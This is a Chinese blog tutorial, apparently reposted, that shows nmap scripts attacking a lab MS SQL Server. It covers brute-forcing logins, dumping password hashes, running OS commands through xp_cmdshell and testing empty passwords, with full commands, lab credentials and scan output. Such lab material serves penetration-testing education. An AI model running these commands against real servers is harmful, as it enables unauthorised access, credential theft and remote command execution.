利用Nmap对MSSQL进行渗透测试

VSole2021-12-02 15:06:49

利用nmap脚本对MS SQL Server 进行渗透测试,获取目标用户名、数据库表等信息。

准备阶段

攻击机器:Kali (装有nmap)

目标机器:Windows Server 2019 (安装SQL Server 2016)

nmap自带一系列用于测试的脚本,用于mssql的脚本可以通过如下语句查询:

$ locate *.nse | grep ms-sql    /usr/share/nmap/scripts/broadcast-ms-sql-discover.nse/usr/share/nmap/scripts/ms-sql-brute.nse/usr/share/nmap/scripts/ms-sql-config.nse/usr/share/nmap/scripts/ms-sql-dac.nse/usr/share/nmap/scripts/ms-sql-dump-hashes.nse/usr/share/nmap/scripts/ms-sql-empty-password.nse/usr/share/nmap/scripts/ms-sql-hasdbaccess.nse/usr/share/nmap/scripts/ms-sql-info.nse/usr/share/nmap/scripts/ms-sql-ntlm-info.nse/usr/share/nmap/scripts/ms-sql-query.nse/usr/share/nmap/scripts/ms-sql-tables.nse/usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse

获取数据库版本信息

使用ms-sql-info脚本获取目标数据库版本等信息

nmap -p 1433 -Pn --script ms-sql-info 192.168.91.133//-p 表示指定端口号、-Pn:不检测主机存活、--script 指定脚本

获取的信息如下:

用户凭证爆破

使用ms-sql-brute脚本可以对数据库用户名和密码进行枚举和爆破

nmap -p 1433 -Pn --script ms-sql-brute --script-args userdb=mssql_user.txt,passdb=mssql_pass.txt 192.168.91.133// --script-args 指定脚本参数;userdb= 指定用户名字典 ;passdb= 指定密码字典

结果如下:

得到的用户名和密码:

sa:Password@123pentest:123456

执行SQL语句

利用前面得到的凭据,可以调用nmapms-sql-query脚本在目标上执行SQL查询

用法如下:

nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-query.query="SQL查询语句" 192.168.91.133

列出目标上的所有数据库

nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-query.query="sp_databases" 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 01:57 EDTNmap scan report for 192.168.91.133Host is up (0.00051s latency).
PORT     STATE SERVICE1433/tcp open ms-sql-s| ms-sql-query:|   [192.168.91.133:1433]|     Query: sp_databases|       DATABASE_NAME DATABASE_SIZE REMARKS|       ============= ============= =======|       master 7552 Null|       model 16384 Null|       msdb 21888 Null|_     tempdb 16384 Null
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
NetBIOS 信息收集

利用ms-sql-ntlm-info脚本对启用 了NTLM 身份验证的远程SQL Server主机NetBIOS信息进行收集。

原理是发送无效域和空凭据的MS-TDS NTLM 身份验证请求将导致远程服务以 NTLMSSP 消息进行响应,该消息会泄露包括 NetBIOSDNS 和操作系统版本信息。

nmap -p1433 -Pn --script ms-sql-ntlm-info 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:08 EDTNmap scan report for 192.168.91.133Host is up (0.00053s latency).
PORT     STATE SERVICE1433/tcp open ms-sql-s| ms-sql-ntlm-info:|   Target_Name: WIN-8EIGFF6H8PR|   NetBIOS_Domain_Name: WIN-8EIGFF6H8PR|   NetBIOS_Computer_Name: WIN-8EIGFF6H8PR|   DNS_Domain_Name: WIN-8EIGFF6H8PR|   DNS_Computer_Name: WIN-8EIGFF6H8PR|_ Product_Version: 10.0.17763

MSSQL 密码哈希转储

使用ms-sql-dump-hashes可以导出mssql密码哈希,可以提供给John-the-ripper这类工具使用。

nmap -p 1433 -Pn --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:22 EDTNmap scan report for 192.168.91.133Host is up (0.0011s latency).
PORT     STATE SERVICE1433/tcp open ms-sql-s| ms-sql-dump-hashes:| [192.168.91.133:1433]|     sa:0x02002df771b8ffe860cb75e4bea87df48dd2fc38c35566eed3bf636aa962b2a24768387120df74d775627ea8ab10cd2339b525706fa0f68cbdff4580fcfddef2cb98493cce87|     ##MS_PolicyEventProcessingLogin##:0x02001be8e4066350f72d7043e3b6fe080efb16a0cf424a4a1f078d84509d013946acaf49c08fdb534044432e474422769e4d43baa399bb094aa532e1333f6ec9c4eb01b4120c|     ##MS_PolicyTsqlExecutionLogin##:0x02002f2e008251ee080daa07829e49ef4baf8624e26bc34a37096691751f83b4d7122f8bf1015db9ba5a519f483da5d366712c0fc54f8250ae8ce38db43e8e9f616cd0faab97|_   pentest:0x020025bc596aaf94a1f764ccaca6cd6d0615cfba0f01140879c21df33959e492254ef66d53ddbfb0c961e3f04bfb376294d7194fcd61b0b6b85b06387d6f975b92a779544ab6
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds

命令执行

xp_cmdshellMicrosoft SQL Server 的一项功能,它允许系统管理员执行操作系统命令。默认情况下,xp_cmdshell 选项是禁用的。如果在目标服务器中启用了 xp_cmdshell,可以利用ms-sql-xp-cmdshell脚本在目标机器上执行系统命令。

nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133
//ms-sql-xp-cmdshell.cmd= 指定要执行的命令
nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:28 EDTNmap scan report for 192.168.91.133Host is up (0.00047s latency).
PORT     STATE SERVICE1433/tcp open ms-sql-s| ms-sql-xp-cmdshell:|   [192.168.91.133:1433]|     Command: ipconfig|       output|       ======|       Null|       Windows IP \xE9\x85\x8D\xE7\xBD\xAE|       Null|       Null|       \xE4\xBB\xA5\xE5\xA4\xAA\xE7\xBD\x91\xE9\x80\x82\xE9\x85\x8D\xE5\x99\xA8 Ethernet0:|       Null|         \xE8\xBF\x9E\xE6\x8E\xA5\xE7\x89\xB9\xE5\xAE\x9A\xE7\x9A\x84 DNS \xE5\x90\x8E\xE7\xBC\x80 . . . . . . . : localdomain|         \xE6\x9C\xAC\xE5\x9C\xB0\xE9\x93\xBE\xE6\x8E\xA5 IPv6 \xE5\x9C\xB0\xE5\x9D\x80. . . . . . . . : fe80::c0cf:a5e8:ba66:9b8d%6|         IPv4 \xE5\x9C\xB0\xE5\x9D\x80 . . . . . . . . . . . . : 192.168.91.133|         \xE5\xAD\x90\xE7\xBD\x91\xE6\x8E\xA9\xE7\xA0\x81 . . . . . . . . . . . . : 255.255.255.0|         \xE9\xBB\x98\xE8\xAE\xA4\xE7\xBD\x91\xE5\x85\xB3. . . . . . . . . . . . . : 192.168.91.2|_     Null
空密码登录测试

如果管理员将密码设置为空,那么攻击者就可以直接登录到数据库。

利用ms-sql-empty-password脚本可以对目标进行SQL Server 空密码登录测试

nmap -p1433 -Pn --script ms-sql-empty-password 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:36 EDTNmap scan report for 192.168.91.133Host is up (0.00056s latency).
PORT     STATE SERVICE1433/tcp open ms-sql-s| ms-sql-empty-password:|   [192.168.91.133:1433]|_   sa:<empty> => Login Success
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

查看数据库表

ms-sql-tables脚本可以列出目标的数据库表

Tips:默认情况下MSSQL中没有数据库,要新建一个数据库和插入表,不然执行下列脚本会报错。

nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133
nmap -p1433 -Pn --script ms-sql-tables --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 04:28 EDTNmap scan report for 192.168.91.133Host is up (0.00079s latency).
PORT     STATE SERVICE1433/tcp open ms-sql-s| ms-sql-tables:|   [192.168.91.133:1433]|       pentest|         table column type length|         ===== ====== ==== ======|         Table_1 password nchar 40|         Table_1 username nchar 40|      |       Restrictions|         Output restricted to 2 tables (see ms-sql-tables.maxtables)|         Output restricted to 5 databases (see ms-sql-tables.maxdb)|_       No filter (see ms-sql-tables.keywords)
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
渗透测试nmap
本作品采用《CC 协议》,转载必须注明作者和本文链接
利用nmap脚本对MS SQL Server 进行渗透测试,获取目标用户名、数据库表等信息。获取数据库版本信息使用ms-sql-info脚本获取目标数据库版本等信息nmap -p 14
Nmap渗透测试指南
2022-04-20 13:05:55
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG E:\ip\result3.txt -iL E:\ip\ip.txt
因为 web 服务器同时连接了外网和内网,所以必须首先拿下。这里有关 web 服务器的渗透不展开讲了,无非也就是利用漏洞,诸如:弱口令、上传漏洞、远程代码执行、各种 cms 漏洞,总之都是可以找到写入 webshell 的方法。成功写入 webshell 后,接着就要上传木马控制 web 服务器,这里可以用 Metasploit或 Cobaltstrike。
爬取免费代理爬取全国高校域名端口扫描信息泄露扫描sql盲注框架未授权服务扫描递归爬取某链接中的urlphp随机亦或生成某关键字域名批量转ip根据网段生成ip列表内外方面探测开放端口基于selenium的登录爆破脚本子域名相关子域名爆破基于各大在线网站的子域名收集脚本从url中解析出顶级域名补天公益爬虫
工欲善其事,必先利其器。既然如今已经有了更为便捷、快速的渗透测试工具,这对现代渗透测试工作者无疑是有很大的帮助的。以下列出了他们使用的一些工具。 一、Kali Linux Kali是基本的渗透测试操作系统,为大多数人采用,除非是掌握尖端知识或有特殊情况。Kali以前称为BackTrack Linux,由Offensive Security(OffSec,进行OSCP认证)的优秀人员维护,如今在各
渗透测试前期信息收集工具
概述渗透测试的目标可以是单个主机,也可以是整个内网。在实战中,比如最近如火如荼的HW行动,更多的是对一个目标的内网进行渗透,争取获得所有有价值的资产。完整的内网渗透涉及的步骤如下图所示。快速横向移动到到内网中的核心资产,获取核心敏感数据和权限,完成一次疼痛的打击。Step 1 信息收集完成边界突破的第一步是目标对象资产的信息收集。这些其实是为了找到脆弱资产进行攻击,毕竟“柿子挑软的捏”。
渗透测试的目标可以是单个主机,也可以是整个内网。在实战中,比如最近如火如荼的HW行动,更多的是对一个目标的内网进行渗透,争取获得所有有价值的资产。完整的内网渗透涉及的步骤如下图所示。快速横向移动到到内网中的核心资产,获取核心敏感数据和权限,完成一次疼痛的打击。Step 1 信息收集完成边界突破的第一步是目标对象资产的信息收集。这些其实是为了找到脆弱资产进行攻击,毕竟“柿子挑软的捏”。
VSole
网络安全专家